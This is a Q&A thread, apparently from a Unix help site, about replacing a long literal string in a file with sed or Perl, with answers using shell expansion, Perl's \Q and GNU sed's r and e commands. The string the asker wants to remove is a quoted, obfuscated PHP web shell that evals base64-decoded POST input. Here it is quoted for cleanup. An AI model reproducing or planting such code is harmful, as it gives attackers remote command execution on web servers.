How to read needle part of the sed command from a file?

Question

I want to replace a long part of a file with something else preferably by sed but want to read that long part from a file. I already found this:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

from here which is the exact opposite of what I want to achieve. I tried lot of things like the following but all give the wrong result:

sed -e '/r needle.txt/replace' subject.txt

EDIT 1

needle.txt is not regex, just the text I want to be replaced with lots of non ascii characters.

EDIT 2

the exact string I'm dealing with is this:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

I want to keep the last <?php

Answer 1

You can have the shell expand the file's contents before passing them to sed:

sed -e "s/$(cat needle.txt)/replace/" subject.txt

Note the use of double quotes.

This will make sed interpret any regex metacharacters from needle.txt as regex metacharacters and not ordinary characters. It will break if needle.txt contains a /.

In case you want the lines of needle.txt to be interpreted literally (even if they contain regex metacharacters as in your example), you can do something like:

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

Explanation

• The -pe switches mean apply the code that follows line by line to the lines of the subject.txt file and print each line after you're done processing it.
• The BEGIN{} segment is only executed once. What it does is it opens the needle.txt file and stores all of its contents in the $needle variable.
• s/\Q$needle/replace/ is the same syntax you'd expect from sed except that \Q causes Perl's regex engine to treat everything after it as a fixed string rather than a regex.

Answer 2

sed is very peculiar about read - it will only do it for the line which matched its pattern - and it will always do it last. sed won't read out a file for a matching pattern if the pattern ceases to match before it flushes the line. At least that's how I think it works - I'm pretty good with sed but r still baffles me sometimes.

Anyway, the trick is to let it flush the line with the pattern it wants - thereby ensuring the output for that line, but to delay that output at least by one line and then to edit it.

You can do this relatively easily w/ N;P;D - which will work in concert to advance sed's line counter at least one line ahead of lines printed. Consider the following two files:

###file1
some string 1
some string 2
some other string
some string 4
some string 5

###file2
some other file

Now my goal is to perform a substitution replacing the pattern on which read depends, and to get read to print its contents before my change is printed. Here's how I do it:

sed '$!N;s/other \(.*\)\(\n\)/\1 3\2/
     /\n.*other/r file2
     P;D' file1

OUTPUT

some string 1
some string 2
some other file
some string 3
some string 4
some string 5

I also did this with a different file2 which printed...

some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5

I do have some fairly deep reservations about the portability of that behavior, but that was with a GNU sed, for what it's worth.

Ok, so in the above commands, sed is reading its input one line ahead of when it prints it. N appends the next input line to pattern space, P prints up to the first \newline character in pattern space, and D deletes up to the first \newline character in pattern space before starting over with what remains. So every line we see printed is one line behind sed's look at it - sed gets a two-line window on the input.

The pattern which matches read matches only for when a \newline character occurs before it which it matches for the cycle when sed first pulls it in with N - it only matches the cycle in which we don't see it.

The replacement only occurs when the \newline occurs after the pattern - this is the cycle on which it will be Printed, after all, but sed flushes its line buffer and increments the line when we pull in the Next line, so the r gets printed then and then the replacement occurs. Kind of tedious really, but then so am I.

And speaking of GNU sed it does offer a rather interesting option for situations like these, in fact.

sed '/other/{x;s/.*/cat file2/e;G
     s/\(.*\)\n\(.* \)other \(.*\)/\1 \2\3 3/
}' file 

info sed will tell you...

• e [COMMAND] This command allows one to pipe input from a shell command into pattern space. Without parameters, the `e' command executes the command that is found in pattern space and replaces the pattern space with the output; a trailing newline is suppressed.

There I also do a little pattern space shuffling - I want a blank pattern space in which to run my command, and so I switch to unused hold space. But it is a little more simple to understand because you don't have to consider line flush timings. It is, essentially, what has been suggested by other means already, with perhaps a little benefit in that any of sed's special characters will not generate an error if they exist in the target read file.

Oh by the way, the above prints:

some string 1
some string 2
some other file some string 3
some string 4
some string 5